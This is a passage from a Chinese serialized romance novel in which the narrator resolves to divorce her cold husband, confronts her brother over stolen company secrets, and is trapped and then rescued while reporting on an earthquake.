直到他们看见我们跟我跟陆之言站在一起时,两人的脸上都闪过一抹错愕。
苏雅欣目光有些狐疑,问:“之言,你怎么跟他们在一起?你不是说晚上有事,来不了嘛?”
陆之言目光有着些许不自然,道:“嗯,先跟薇姐他们约好了。”
秦薇是圈内有名的制片人,应该对娱乐圈里的弯弯绕绕很熟悉。
很明显,她看不上苏雅欣,眼神中带着一抹不屑,没有正眼看她,对我们道:“我先走了,晚上去公司把合同归档。”
“合同?”
苏雅欣下意识地问:“什么合同?”
宋今若语气带着戏谑,道:“当然是《婚途漫漫》男一号的合同!今晚,陆之言已经和我们签约了!”
苏雅欣脸色又白又青,看着陆之言:“我们之前不是都说好了吗?”
“抱歉。”
陆之言只淡淡说了两个字。
宋今若毫不掩饰自己的嘲讽,啧啧嘴,道:“有些人啊,脸皮是真厚!合同还没签呢,就敢在微博上大张旗鼓地晒合照、吹阵容,现在看来,脸打得够响啊。不过也没关系,你脸皮厚,多打几把掌,也感觉不到疼。”
苏雅欣猛地瞪向她,嘴唇哆嗦着半天,才楚楚可怜地望着旁边的男人,喊了声:“时序哥……之前明明是我们先跟之言说好的。”
顾时序冷冷睨了眼我和宋今若,然后不屑而又轻蔑地扫了眼陆之言,道:“一个戏子而已,说话能讲什么信用?男一号也不是非他不可。”
说完,拽着苏雅欣转身就走。
只不过,顾时序这话,虽然是在讽刺陆之言,却忘记了他身旁的女人,也只是个戏子。
陆之言脸色难堪,可他只能忍着,跟我们匆匆打了招呼,便和经纪人离开了。
我和宋今若也去了车库。
她今天坐我车来的,自己没开车。
所以,我开车先把她送回家。
路上,她还在回味着今天沈宴州在场的那很短的十来分钟。
宋今若兴致勃勃地问:“你说,要是顾时序知道是沈宴州出面把陆之言挖过来的,他会不会气死?”
我轻笑了声,道:“谁知道呢?他气不气死,与我何干?”
就在这时,宋今若突然凑过来,神秘兮兮地问:“你说,沈宴州今天……会不会是冲着你来的?”
我下意识握紧方向盘,立刻否认道:“你别瞎说!哪有的事?”
可我话出口又觉得太急。
我指尖无意识抠着方向盘套,不敢去深想宋今若话里的可能性。
这段日子,沈宴州总是有意无意地为难我,怎么可能屈尊降贵地帮我?
第98章 我不要女儿了!这个婚必须离!
我将宋今若送回家之后,自己也打道回府。
路上,手机响了起来,竟然是朵朵用儿童手机给我打的电话。
我虽然激动,但也很意外。
朵朵平时对我向来疏离,甚至带着点排斥,怎么会主动给我打电话?
小丫头别别扭扭地跟我解释道:“上次你给我编的辫子很漂亮。明天幼儿园有表演,你可以再给我编一个吗?爸爸说你晚上不回来了,是真的吗?”
我沉默片刻,为了这难得跟朵朵培养感情的机会,我道:“一会儿我就回去。你要是困了就先睡,明早一定给你编个最好看的辫子。”
“谢谢。”
她声音小小的,似乎很不习惯跟人道谢。
我回到顾氏庄园时,朵朵已经睡着了。
顾时序坐在客厅里,阴沉的眼神幽幽地盯着我,警告道:“你要真想缓和跟朵朵的关系,就踏踏实实靠自己做些事!别一天到晚仗着宋今若的势,去为难雅欣。宋家为了请到陆之言,花了不少力气吧?”
我被他这番话气笑了,直视着他的眼睛反问:“我要为难苏雅欣,需要仗别人的势吗?”
顾时序脸上闪过一丝不屑,唇角勾起嘲讽的弧度:“难道,你自己有这个本事?雅欣16岁就进入娱乐圈,她是靠她自己的本事实打实拼出来的。你以为你写了几篇小新闻,就能在娱乐圈里指手画脚了?”
我看着他笃定的眼神,心里觉得好笑。
原来,他一点都不知道,之前苏雅欣死皮赖脸想出演的电视剧原作者就是我;他更不知道,我现在已经入股了《婚途漫漫》这部剧。
我扯了扯嘴角,淡淡道:"我有没有本事,不是靠你一言两语决定的!你往后看着就是了!"
说完没再看他阴沉的脸,往客房走去。
话不投机半句多,要不是为了给朵朵梳辫子,我今晚压根就不可能回来。
索性今天《婚途漫漫》这部剧最大的问题解决了,我也终于能睡个好觉。
……
翌日清早,我在衣帽间帮朵朵扎头发。
镜子里,小姑娘面无表情,眼神里透着一股跟顾时序极其相似的阴沉。
想到心理医生的建议,现在不就是个好机会吗?
只要拿到朵朵的头发,一切就都真相大白了。
我现在竟不知道,我是希望她是我的亲生女儿,还是希望她不是?
就在我准备动手时,朵朵忽然开口道:“你知道我为什么要让你回来吗?你以为,我是真想让你给我扎辫子?”
我下意识的收回手。
只见她目光充满了怨怼,恨恨的说:“我要替我妈妈看着你!免得你勾引我爸爸!我爸爸只能是妈妈的!”
我心跳一窒,被她这样的眼神震撼到。
随即,我不动声色的摸向口袋里的手机,悄悄按下了录音键。
“朵朵,这些话,是谁教你的?”
我的声音尽量保持平稳,道:“是你妈妈让你替她看着我?”
“是我自己想的!”
朵朵梗着脖子愤愤地说:“每次都是你把我妈妈欺负哭,不让她留在家里。你要是再敢欺负她,我一定帮她报仇!让我爸爸弄死你!”
最后几个字像冰锥扎进我心里,我看着她因愤怒而涨红的小脸,只觉得一阵寒意从脚底升起。
苏雅欣究竟给她灌输了多少扭曲的念头?
我深吸一口气,压下翻涌的情绪,一字一句道:“朵朵,苏雅欣她不是你妈妈!”
“你胡说!”
她尖叫着反驳,下一秒突然扯开嗓子大哭起来,哭声尖锐得像是要划破屋顶。
我还没来得及反应,房门就被“砰”地推开,顾时序快步走进来,眉头紧皱。
下一秒,他将我推开,直接抱起了朵朵。
我没站稳,手肘撞到桌角,一阵尖锐的疼痛。
他没有看我一眼,而是心疼地问女儿:“告诉爸爸,发生什么事了?”
朵朵哭得撕心裂肺:“爸爸!阿姨揪我的头发,朵朵好疼……”
顾时序的眼神瞬间变得凌厉,瞪着我。
我简直没想到,这么小的孩子,会有这样的心机。
就连套路,都跟苏雅欣一模一样!
可明明,我什么都没做!
就在这时,女佣在外面道:“先生,苏小姐来了。”
顾时序还没说话,苏雅欣就跑了进来,道:“朵朵怎么哭成这样?”
朵朵指着我,哽咽道:“是她揪我头发,还说要当我妈妈!”
顾时序的目光像淬了冰,死死盯着我:“叶昭昭,我给过你机会,我甚至想和你重新开始。可你是怎么做的?”
我忍着肘间的疼,拿出手机点开录音,道:“你自己听听,你女儿刚才说的话。”
朵朵的声音从手机里放出来,小丫头吓了一跳,有一丝心虚。
可顾时序的表情没有任何起伏,始终淡淡的,没有一丝责备的样子。
苏雅欣道:“叶小姐,你也太过分了,录音这种手段,至于用在小孩子身上吗?朵朵这孩子被我和时序哥惯得娇纵了些,说话没轻没重的,但她没有坏心眼。小孩子的话当不得真的,也只有你这种没养过孩子的人,才会跟她计较这些!”
说完,她对顾时序道:“时序哥,我还是带朵朵走吧!叶小姐对朵朵这么狠,我怎么能放心呢?”
朵朵搂着苏雅欣,道:“妈妈,你别走,我也不走!该走的是她这个狐狸精!”
心里这段时间以来的希冀,忽然碎了。
这样的孩子,怎么可能是我的女儿呢?
她一定不是的!
顾时序倒没有立刻答应女儿,而是走到我面前,道:“跟朵朵道歉。我会想办法,让她原谅你。”
我忽然笑了,笑意从嘴角蔓延到眼底,带着一种彻底释怀的轻松。“不必了,我问心无愧,又何须她的原谅?”
说到这儿,我严肃而认真的看着他,一字一句道:“就这样吧,顾时序。我相信了,朵朵不是我的女儿!离婚协议麻烦你尽快签字,我不要女儿,我也可以净身出户。只要能离婚,你提什么条件,我都答应。”
客厅瞬间安静下来。
我目光从顾时序冷峻的面容扫过,毫不留恋。
推开门,冬日的冷风扑面而来,让我感到前所未有的清醒和轻松。
去公司的路上,我接到了叶家的电话。
原来是我哥昨晚就已经被保释出来回家了,叶夫人道:“昨天太晚,我怕打扰你们休息,就没有说。”
“回来了就好。”
幸好这次,顾时序没有再将跟我之间的矛盾转移到叶家身上。
叶夫人顿了顿,道:“你中午和时序回来吃顿饭吧?这次,他大**量放过了你哥,我想谢谢他。”
“他差点把叶家搞破产,有什么可谢的?”我没准备再瞒着父母,道:“况且,我已经快跟他离婚了。以后,我不会再带他去叶家。如果有生意上的往来,您和我爸自己邀请他吧。”
叶夫人惆怅地叹了口气,道:“那你过来,行么?妈上次说话说重了,越想越对不住你。”
我刚好有话要跟我哥说,所以答应了,“好,我中午下班过去。”
……
叶家。
我哥不知道是不是在拘留所待怕了,整个人都好像恍恍惚惚的。
叶夫人提醒道:“你还不谢谢昭昭?要不是他去求时序,你以为你能这么顺利出来?”
我哥看了我一眼,麻木地说:“谢了!”
我严肃的说:“哥,以后,无论谁让你做这些违法乱纪的事,你都最好想一想该不该?我就要跟顾时序离婚了,要是再有下次,我也救不了你。”
“哼,说到底,不就是我偷了你老公公司的机密,你在替他打抱不平?”
我哥冷笑了声,道:“可你别忘了,是叶家把你养大的,跟他顾时序有什么关系!我这么做,就是为了把叶家发扬光大!我不甘心一辈子在顾时序之下,为什么,你们都不理解我!”
说到最后,他狂吼出声,再也没有半分曾经的样子。
我静静地看着他,道:“所以,为了把顾时序踩在脚下,你跟苏雅欣里应外合,是吧?你想超越顾时序的手段,就是偷他的成果。以前的你,那么正直,是谁把你变成现在这个样子?”
我哥吼道:“我再说一遍!我一人做事一人当,跟别人没关系!”
我拿出手机,打开朋友圈,道:“这是苏雅欣刚才发的,你看看。马上我跟顾时序就离婚了,她会成为顾太太。哥,无论你为她付出多少,你都是个工具人。你没机会的!”
这是十分钟之前苏雅欣发的朋友圈,九宫格里她没有露脸,但朵朵、顾时序和姜淑慧都露脸了,几人看起来格外融洽。
照片上放配文:“我们一家人终于又在一起了!下午出发,全家一起去马尔代夫喽!”
我哥看着朋友圈,双眸猩红,紧紧攥着拳头,仿佛在克制着什么。
就连叶夫人都看出不对了,“景辰,你……你不会真的跟苏雅欣……”
叶爸爸更是怒不可遏:“你给我说实话,你这次是怎么偷到顾氏这么机密的东西?”
我们都在等着我哥说实话。
可下一秒,他直接掀了桌子,怒道:“我他妈再说一遍!我不认识什么苏雅欣!你们不想吃饭,那就都他妈别吃了!”
地上一片狼籍。
叶夫人崩溃了,叶爸爸气的赶忙拿出速效救心丸吃了几颗。
我没想到,我哥现在会变得如此不可理喻。
以前他虽然做事冲动,但是很孝顺,偶尔有叛逆,但绝不是忤逆。
他丢下我们,径直往楼上走去。
叶夫人仿佛天塌了:“怎么会这样?那苏雅欣都脏透了,你哥要真跟她有什么关系,我们怎么办啊!”
叶爸爸冷静许久,一字一句道:“从今天起,我会找人一步不落的看着他!要是他真敢跟苏雅欣有什么,我就没他这个儿子!”
叶夫人泣不成声,完全无法接受我哥这样的改变。
我安慰了他们许久,直到快到了上班的点,我才离开叶家。
然而,上班的路上,天空乌云密布,一团团黑色的云十分诡异的层层叠叠。
我以为一会儿要下暴雨了,所以加快了车速。
就在这时,方向盘突然在手中剧震,仪表盘指针不安分的左右晃动,车载香薰也跟着摇晃起来。
手机屏幕上
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弹出地震预警,连将车在路边停下。
紧接着,车内的广播夹杂着电流声断断续续传入我耳里:“据地震局最新消息,江城于今日14:25分发生7级地震,我市震感明显……”
播报声戛然而止,取而代之的是不间断的警报声。
江城跟海城是接壤的两座城市,距离很近。
所以十分钟之前,江城发生了大地震,海城这边也出现了震感。
路上已经有人开始从楼里往外跑,街道上聚满了人。
我后颈泛起细密的冷汗,第一个想到的是我妈。
她一个人在医院,如果一会儿地震波及到了海城,该怎么办?
尽管广播里又开始播放“请市民朋友保持冷静,远离高楼”,我还是义无反顾地将车往医院开去,顺便给单位请了假。
索性,震感只有刚才那一会儿。
等我到达医院的时候,我妈妈安然无恙地躺在床上,一切都回归了平静。
我松了口气,接过护工的毛巾帮我妈擦了身子。
心神不宁的我,在医院陪了她一会儿。
看到工作群里一个个消息弹出来,我实在没办法继续休息下去,还是去了公司。
我刚到办公室,便感受到了压抑的空气。
主编冷着脸站在中央。
老周搓着手嘟囔:“我这老腰上周刚贴的膏药,医生说不能颠簸劳累。万一再闪了,我还不够去给人家前线医护人员添乱的。”
话音还没落,我工位对面的小林索性痛哭出来:“主编,我真去不了!我妈昨天刚住院,我这要是走了,病房里连个递水的人都没有,她老人家一着急再出点事……”
陆陆续续还有同事在说理由:“我、我不是不想去,是我对象上周刚查出怀孕。我要是走了,她一个人在家我实在放心不下……”
办公室里瞬间静得只剩空调声,每个人都低着头,要么抠着键盘,要么假装整理文件,谁都不敢和主编对视。
这时,一直没说话的孟云初突然开口道:“我去!”
主编眼前一亮,问:“你确定吗?”
孟云初沉默了一下,点点头:“我是单身,也没什么家人,我可以。”
我怔怔地看着她,难免心酸。
因为我知道,她有家人。
只是,她的家人都不爱她。
主编愁眉不展的说:“就算你愿意,可只有你一个人,没法完成这么大的工作量啊!”
我想了良久,终于开口道:“主编,我跟孟云初一起去。”主编不可置信地看着我。
毕竟,我是试用期,按说这种事情是不需要去的。
所以主编刚才根本就没把我算在内。
现在我主动要求,主编眼睛都红了,对我道:“昭昭,你……真的愿意?如果你去了,这次回来,我直接给你转正。”
因为事发紧急,我们新闻记者必须拿到一手资料,所以在确定了人员后,我和孟云初便各自回去收拾行李准备前往震区。
家里,我开着电视,一边关注着震区的情况,一边收拾点简单的东西。
哪怕没有亲临现场,光看到航拍的灾后景象,都觉得触目惊心。
这时,我手机响了,是顾时序的电话。
我接了,那边传来他清冷中带着丝紧张的声音:“你在哪儿?”
我敷衍着回了三个字:“在外面。”
顾时序道:“把定位发给我,我现在让人去接你,家里别墅能扛得住八级地震。”
很显然,他也得到了消息,江城地震了,海城目前也不安全。
我反问道:“那你在哪儿?”
顾时序顿了一下,良久,才低低地说:“朵朵想去马尔代夫散心,我们现在不在国内。”
“那就好好散心吧,不需要假惺惺地来问候我。"
说完,我直接挂了电话。
……
与此同时,马尔代夫。
姜淑慧得知地震的消息,一脸庆幸的说:“幸亏我们出来了,真是老天保佑!不然,这多危险啊!”
苏雅欣亲昵地挽着她的手,道:“是啊,妈。朵朵真是个小福星呢,要不是她今天突然提议全家人出来玩儿,我们恐怕也得留在国内担惊受怕。”
顾时序听着母亲和苏雅欣你一言我一语的对话,心中莫名烦乱,走进了房间。
他坐在沙发上,望着外面的天朗气清,手指越来越快的拨动着佛珠,眼底弥漫开一层薄霜般的忧虑。
手机一直没有叶昭昭的任**息,更别说发定位了。
他薄唇紧抿,再次给叶昭昭打了电话。
可那边已经关机。
他只能选择语音留言:“叶昭昭,现在是生死攸关的时候,不是你赌气的时候!我们之间的问题,等我回来好好解决。你看到电话,立刻回我!”
只可惜,信息发出去,石沉大海。
“咔哒”。
突然清脆的崩裂声令他心头一紧,佛珠应声而落,噼里啪啦掉了一地。
顾时序猛地站起身,给孙杰打电话:“派人去找叶昭昭,半小时内,我要知道她是否安全!”
很快,孙杰给他回复了:“顾总,不好了,太太……太太她去江城了!现在,正在江城的地震中心带!”
第99章 她**连离婚都省了!
顾时序听到这个消息,心猛地一沉,对电话那边道:“给我包机,我现在回去!”
他话音刚落,,苏雅欣带着朵朵走了进来。
“时序哥,你要去哪儿?”
苏雅欣拦在他面前,紧张的看着他。
“你带朵朵和我妈在这儿等安全了再回去,我先回去看看。”
顾时序径直往外走去,眼底涌动的担忧似乎快要冲破清冷的面容。
苏雅欣眼见拦不住他,悄悄给朵朵使了个眼色。
朵朵赶忙抱住顾时序大腿,哭着道:“爸爸你别走,地震好可怕,会**的。”
苏雅欣也奋力劝道:“是啊,万一你出事了,我和朵朵该怎么办?”
顾时序面无表情地道:“但是叶昭昭还在那边。”
苏雅欣脸色一僵,眸中露出一抹不甘和怨怒。
就在这时,姜淑慧过来了,时序,你是昏了头吗!雅欣和朵朵都在这儿,我也在这儿,你回那个危险的地方做什么?”
顾时序眉峰紧蹙,解释道:“叶昭昭失联了。”
“她?”
沈云安冷哼了声,道:“失联了最好!她要是**,连离婚都免了,你直接跟雅欣成婚。那女人占着四年顾太太的位置,根本就是德不配位!雅欣这几年又要顾工作,还要帮你带朵朵。你准备什么时候给她个名分!”
苏雅欣面露绯红,万分紧张地等待着顾时序的答案。
顾时序语气透着几分不满,道:“妈!叶昭昭是我的太太,至少现在,她还是!”
姜淑慧一听,火冒三丈,道:“如果是你遭遇了地震,你觉得她会像这样不顾一切去找你吗?”
顾时序怔了怔,随即,一字一顿道:“她会的。”
苏雅欣和姜淑慧脸上充满了错愕,她们也没想到,顾时序平日里也不像把叶昭昭放在心上的样子。
可现在这种危险关头,他竟然要回去送死!
然而,朵朵在苏雅欣的示意下,死死抱着顾时序的腿不撒手。
顾时序耐着性子道:“朵朵乖,爸爸很快就回来。”
“不要,我不要你走!爸爸走了就不会再回来了!”
朵朵执拗的想把他留下。
顾时序语气突然严厉起来:“朵朵,你再这样,爸爸要生气了。”
朵朵心一惊,到底还是害怕顾时序生气的样子,渐渐松开了手。
……
江城,晚上八点。
从我们抵达震区一直到现在,整整四个小时过去,我和孟云初滴水未进,一直在跟拍、抓拍,追踪报道目前地震的进展。
本来我们是在一起的,可地震的区域太大,我们只好分头行动。
以至于现在,我不知道孟云初去了哪儿?
信号一直没有,连电话都打不出去。
我只好将所见所闻记录在笔记本电脑上,等信号恢复的时候再上传到公司,让他们后期剪辑和发出。
这四个小时里,我们拍到的画面太多,震撼的、血腥的、悲凉的…
就在这时,我眼睁睁看着搜救队员将一个年轻妈妈从废墟中救出来。
她紧紧将怀里的婴儿护在身下,脊背被砸到粉碎性骨折,全是血。
救援医生惋惜地摇摇头,道:“没希望了,房梁砸中了她的后脑。她现在浑身都僵硬了,显然已经走了一阵子了。”
护士将她怀里死死护住的婴儿小心翼翼的抱了出来,懵懂的孩子什么都不知道,还在吃奶。
我眼眶酸痛得要命,滚烫的眼泪顺着脸颊滑落下来,我也想到了我的孩子。
如果朵朵不是我的女儿,那我的孩子真的已经不在这个世上了。
如果能拿我的命去换我孩子的命,我想,我也会的。
突然,一个熟悉的声音,让我以为自己出现了幻觉。
“叶昭昭!”
我不可置信的回过头,顾时序就在不远处。
因为脚踩之处遍地废墟,他那双锃亮的小牛皮皮鞋,也蒙上了一层厚厚的灰尘。
恍惚间,我好像回到了曾经校园里,他每次在球场冲我挥手喊我名字的时候。
可是,他不是在马尔代夫吗?
我捂着发麻的膝盖站起身来。
顾时序已经快步走到了我的面前,清俊的五官像是凝了一层霜。
他像是在极力忍着怒火,克制的开口道:“谁准你来这里的?”
我平静地说:“这是我的工作。”
顾时序咬着牙道:“我看,你是来找死的!”
我忽然拉着他,往前走了几步,指着这一片茫茫废墟和来来往往的志愿者,道:“看见了吗?如果没有这些来‘找死的’人,那被压在废墟下面的人,就一点生的希望都没有了!”
顾时序抿了抿唇,探究的目光望了我很久。
就在这时,周围不知是谁说了声“有信号了!”
我连忙就地坐下,把我刚才所拍到的一切发到公司内网。
一向有洁癖的顾时序,竟然也没嫌地上脏,就坐在了我旁边。
他看着我手指在电脑触控板上忙忙碌碌,淡淡地说:“人家来送死的意义在于救人,你来送死的意义,就是拍几张不痛不痒的照片和视频。值得吗?”
“正因为有我在现场拍到的东西被所有人看到,大家才会受到触动,才会有更多的志愿者来救援,灾区也会募捐到更多的善款和物资。”
说到这儿,我自嘲的笑了笑,道:“我觉得我现在做的事,比我这四年维持的婚姻,有意义多了。”
这话并不是想刺向他。
只是我看着这些镜头里记录的画面,我觉得我在婚姻里被磨平的棱角,又重新长出了温热的形状。
顾时序太冷漠了,我甚至试图用我的温度去感染他。
可他沉思了良久,道:“我可以捐款、捐物资,但是现在,你必须跟我回去。”
我轻轻叹了口气,他永远都不懂我。
“顾时序,我没有逼你来这里陪我。如果你害怕危险,你可以走。”
我继续拿起摄像机,抓拍那些或感人、或震撼的镜头。
以顾时序的脾气,我以为他就直接走了。
可他竟然就这么跟着我。
我去哪儿,他就跟在我身后。
这时,大量的捐赠物资到了。
顾时序去领了两份晚餐递给我。
很简单的面包和矿泉水,但对于饿了很久的我来说,能充饥就足够了。
他坐在我旁边,比我吃的文雅。
就算在这种兵荒马乱的地方,他还是维持着平日里的清冷,佛子般的不食人间烟火。
我忍不住吐槽道:“你真不该来,还浪费了一份晚餐。”
顾时序脸色沉了几分,反问:“照你这么说,我还不如一份晚饭?”
我白了他一眼,继续吃着手里的东西,很快吃完,又投身到工作中。
我去追拍一队抬着担架奔跑的医护人员,他便也迈开长腿,不近不远的跟在我身边。
如果不是我们的婚姻已经走到了尽头,这般无声的守护,我也会觉得很浪漫。
可现在,他所做的一切,再也激不起我心中一丝波澜。
深夜,我实在筋疲力尽,回到临时搭建的信息站。
所有影像资料上传完毕后,我累到瘫坐在地铺上。
背后的墙壁硌得人骨头生疼。
我侧过头,看见顾时序正站在角落,眉头微蹙地打量着四周。
他昂贵的西装沾了不少灰,头发也有些凌乱,可依旧矜贵无比,与周围的环境格格不入。
“你回去吧。”我哑着嗓子开口,疲惫地开口,“这里不是你该待的地方,金尊玉贵的,何必在这儿遭罪。”
顾时序目光落在我脸上,眉头蹙得更紧了些:“如果你是为了跟我证明你的能力,我现在看到了。你跟我一起回去,不要再赌气了。”
我望着他,忽然觉得有些好笑,又有些苦涩。
我摇了摇头,嘴角牵起一抹苦涩的弧度:“顾时序,你太高看自己,也太小瞧我了。为了跟你赌气,我犯不着搭上命去。”
他沉默了,黑眸沉沉地看着我。
过了好一会儿,他没再劝,只是走到地铺边坐下。
地上的灰尘沾到他的西裤上,有洁癖的他好像也不在乎了。
“累了就靠会儿。”
他忽然开口,声音轻轻冷冷的,却主动往我这边挪了挪。
我愣了一下,还没反应过来,他直接摁着我脑袋让我靠在他肩膀。
我终是抵不过汹涌的疲惫和困意,沾到他肩膀没多久,就睡着了。
只不过这种地方,没人能睡踏实。
天刚蒙蒙亮,我就醒了。
而顾时序似乎一点都没睡,维持着让我靠在他肩膀上的姿势,缓缓转动着手中的佛珠发呆。
“醒了?”
他望着我,清俊的面容在黎明的笼罩下,温和了许多。
我”嗯”了一声。
看着他眼底淡淡的青色和脸上的疲倦,我劝道:“你回去吧。反正你在这里,也没什么意义。”
肩不能扛,手不能提的。
他蹙眉道:“你在我肩上踏实睡了两个多小时,这也算我的意义,不是吗?”
他话音刚落,我手机来了电话,屏幕显示是姜淑慧的。
我直接开了外放,让一旁的顾时序也能听见。
“是你不让时序接我们电话的吧?叶昭昭,你怎么这么狠啊!一只不下蛋的母鸡,霸占着时序不说,现
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在还要拉着他一起送死!”
顾时序沉声打断母亲喋喋不休的怒骂声,“妈,有什么话等我回去再说。”
这时,苏雅欣的声音出现了,很可怜的祈求我:“叶小姐,麻烦你让我单独跟时序哥说句话。求你,我就说一句,我有很重要的事。”
我懒得跟她演什么大婆和小三针锋相对的戏码,更不想揭穿她拙劣的把戏,就直接把手机递给了顾时序,关了扬声器。
我不知道苏雅欣在那边说了什么,只见顾时序脸色肉眼可见的变紧张,然后说了句:“好,我现在过去。”
他将手机放下,起身便往他直升机停靠的场地走。
后来突然想起了什么,停住脚步,回头看着站在原地、孤零零的我。
就在这时,广播里传来了警报声,“地震局最新勘探数据,今天晚上或将有余震来临,请各位志愿者注意安全。”
广播一出,所有人人心惶惶,甚至还有些人已经想离开了。
毕竟,余震的威力会怎样,造成怎样的破坏谁也不知道?
留在这里一刻,就多一分危险。
顾时序听到余震的时候,黑色的瞳仁剧烈缩了一下,问:“要不要跟我一起走?”
我站在原地没动,嘴在前面说,脑子在后面追:“如果我不走,你会留下来陪我吗?”
顾时序微微沉默了片刻,只说了五个字:“你一切小心。”
然后,他转身朝他直升机停靠的场地走去。
我释怀的笑了,早该知道他的选择,不是吗?
突然,警报声再次响了起来,让我们所有志愿者现在立刻去避难所。
大家都在议论,明明刚才说是晚上才有余震,怎么现在就发生了?
我环顾了四周,没看到孟云初,也不知道他那边的情况怎么样了?
在广播的催促下,我只有跟其他人一样匆忙往避难所走去。
说是避难所,其实是质量很好的房子没在这次地震中被震塌的,临时用一下。
可我没想到,余震竟然来的这样快,这样猛烈。
就连这些仅存的房子,都开始剧烈的晃动。
轰鸣声碾碎了避难所顶棚的瞬间,我头一次觉得死亡离我这样近。
我甚至来不及往外跑,便眼睁睁看着房梁直接掉了下来。
霎时间,我被困在房梁和地面的空隙里。
幸好这里地面有台阶,那个小小的空隙是暂时安全的,房梁横在那儿,没继续往下压。
可余震还在继续,如果周围还有继续掉落的石块,这个房梁也根本坚持不了多久。
我心里只有一个信念:我不能死!
如果我**,我妈妈难道要一辈子托付给叶家吗?
人家凭什么要替我承担我该承担的责任?
这个狭小的空间里,我身体和手都很难移动,摸了半天才摸到口袋里的手机。
可我手伸不到眼前,压根看不见屏幕,只能用指纹解锁后,凭感觉打电话。
我逼自己冷静下来,可脑子却乱得很,哪怕我真的能把电话打出去,又能怎样呢?
这种时候,会有谁来危险重重地灾区救我?
几声忙音后,电话被接通,“喂。”
我实在不知道,我跟顾时序到底是什么样的孽缘?
我摸黑打的电话,都能打到他那儿去。
从他离开到现在,也仅仅十几分钟的时间。
如果他没走远,他或许可以回来帮我移开身上压的东西。
“顾时序,你在哪儿?”
他没有回答我,只是淡淡地问:“什么事?”
我嗓音不由得颤抖着:“如果你还在附近,能不能来救我一下?刚才余震来了,我被压在房梁下,出不来了。”
可我没想到,他清清冷冷的语调里透着一抹不耐,“广播里明明说晚上才有余震,你现在告诉我余震来了?刚才我让你跟我走,你不走。现在又耍这些把戏,有意思么?”
“我真的被压在这里出不来了。”
我急得想哭,不知道该怎样才能让他相信,只能一遍遍地说:“我不能死,我妈还需要我……”
可那边的男人就这样挂了电话,我自己手机的关机提示音也响了起来。
温热的液体不停的从我眼中滚落,我用手机最后的那点电量向他求救。
他却隔绝了我所有生的希望。
余震虽然已经结束了,好像暂时恢复了平静。
我一直在用尽全力呼救,可时间一点一滴过去,没有任何救援人员听见。
从白天到天黑,我又冷又饿,体力渐渐被耗尽了,声音也已经气若游丝。
更不会有人发现我了。
我近乎绝望的闭上了眼睛。
第100章 那个人对沈宴州很重要
周围无比荒凉,静的只有风声。
就在这时,我听见了脚步声,踩着地上的木板渐渐向我靠靠近。
惨淡的月光下,一双黑色皮鞋出现在我视野里。
男人量身定制的西裤熨烫的一丝不苟,西装裤脚沾染着零星尘土。
我伸手用尽最后力气抓住那截裤管,抬眼望见被月光勾勒出的冷峻侧脸和轮廓分明的下颌线。
沈宴州?
他怎么在这儿?
沈宴州垂眸的瞬间,金丝眼睛的边框反射着冷光,一双黑耀石般的眸子流转出暗芒。
我与他四目相望,这是我目前唯一的救赎。
这时,高朗的声音在他身旁响了起来,“沈律,还是没找到。要不,您先回去,我带人继续找。这里太不安全了,听说上午已经发生过一次余震了!”
“先救人。”沈宴州的声音不高,却带着一种不容置喙的力量,平静中透着果决。
高朗顺着他的目光看到我,格外震惊:“叶……叶小姐,您在这儿?”
沈宴州和他的助理一起合力将压在我身上的房梁抬走,骨节分明的手握着我胳膊,问:“还能站起来吗?”
“我试试。”
我现在四肢和后背都发麻,缓了很久,终于能直起身子。
没想到,我不仅大难不死,竟连重伤都没有。被房梁压住时,我还以为自己的脊背定会被压断,那种叫天天不应、叫地地不灵的绝望,此刻回想起来仍心有余悸。
劫后余生的庆幸与莫名的感动交织在一起,泪水突然汹涌而出,我再也忍不住,失声痛哭起来。
沈宴州就那样静静地站在一旁,没有多余的安慰,也没有催促,只是沉默地陪着,仿佛在给我足够的时间释放情绪。
哭够了,我才有些不好意思地抬头,他递给我一块手帕。
“谢谢。”
我胡乱擦了擦脸上泪,顺手将他这块手帕装进我自己的大衣口袋。
回到临时基地后,我赶紧去洗漱,简单收拾了一下自己。
沈宴州没有离开,就站在不远处等着,目光平静地落在周围,仿佛在观察环境。
洗过脸,脑子总算清醒冷静了些,我才想起问他:“沈律师,您怎么会来这里?”
高朗下意识地脱口而出:“我们当然是为了找……”
话未说完,便被沈宴州不动声色地打断:“来找一位当事人。”
高朗顿了顿,立刻点头附和:“对,找当事人。”
我笑了下,道:“那这位当事人分量挺重的,居然能让您亲自来这么危险的地方。”
沈宴州点点头,不可置否的说:“是挺重要的。”
“那找到了吗?”我疑惑地看向他。
他抿了抿唇,语气平静:“还没有,所以我会留在这里几天。”
“可是……这里很危险。”想起白天的余震,我不禁打了个寒颤,语气里带着后怕。
沈宴州深邃的眸子望向我:“你不也一直在这儿吗?危险在所难免,只要觉得这件事值得就行。”
他的话让我的心绪安定了不少。
我深以为然,只是心头掠过一丝苦涩。
我和顾时序相识二十年,自认是最亲密的人,可他却从未懂过我。
接下来的几天,沈宴州一直都在。
他话不多,却总能在我最需要的时候出现。
我扛着摄像机爬坡时,他会自然地接过最重的设备;采访遇到阻碍时,他三言两语便能理清头绪,那种从容不迫的气场,无形中化解了不少难题。
直到余震彻底平息,官方正式宣布江城安全,沈宴州才对我道:“我该走了,海城那边还有不少事等着处理。”
我愣了一下,下意识地问:“那你不找当事人了吗?”
沈宴州闻言,嘴角勾起一抹浅淡的笑意,如同雨后初晴的光风霁月:“不找了。你自己在这儿多注意安全,事情结束后早点回来。”
“嗯,这边已经安全了。”我冲他感激地笑了笑,郑重地道:“谢谢沈律师。”
我就差说:“大恩大德,无以为报了。”
我目送着沈宴州离开,而不远处传来孟云初的声音。
“昭昭!我总算找到了你了!”
她踏着地上乱七八糟的石头朝我走来,上上下下看了我一遍,道:“你没事就好!我还以为……”
我道:“还以为我**?”
我说完,她突然红了眼眶,我也快哭了,哽咽道:“我也以为你……遭遇了不测。”
孟云初声音带着哭腔道:“好了,所幸我们现在汇合了!我手机刚到这里就摔坏了,这几天,你都不知道我怎么过来的?”
我将自己的手机拿出来递给她,道:“你给家人报个平安吧!对了,主编很担心你,一直在跟我问你的情况。”
孟云初苦涩的笑了笑,道:“家人就算了,每个月我只要按时把钱打过去,他们不会担心我的。不过,我还是给主编回个电话吧,免得她担心。”
就这样,她拿我的手机给主编发了个电话。
打完电话,她对我道:“你手机怎么这么多未读信息啊?”
我看着手机上的小红点,其实这几天我已经陆续跟叶家和宋今若说过我在江城的事了。
她们虽然各个都把我骂了一顿,但却心疼的嘱咐我,要我每天给他们报平安。
至于那些未读信息,基本都是顾时序发来的。
我忙的时候,压根连看都懒得看一眼。
现在没事了,我把那小红点点开
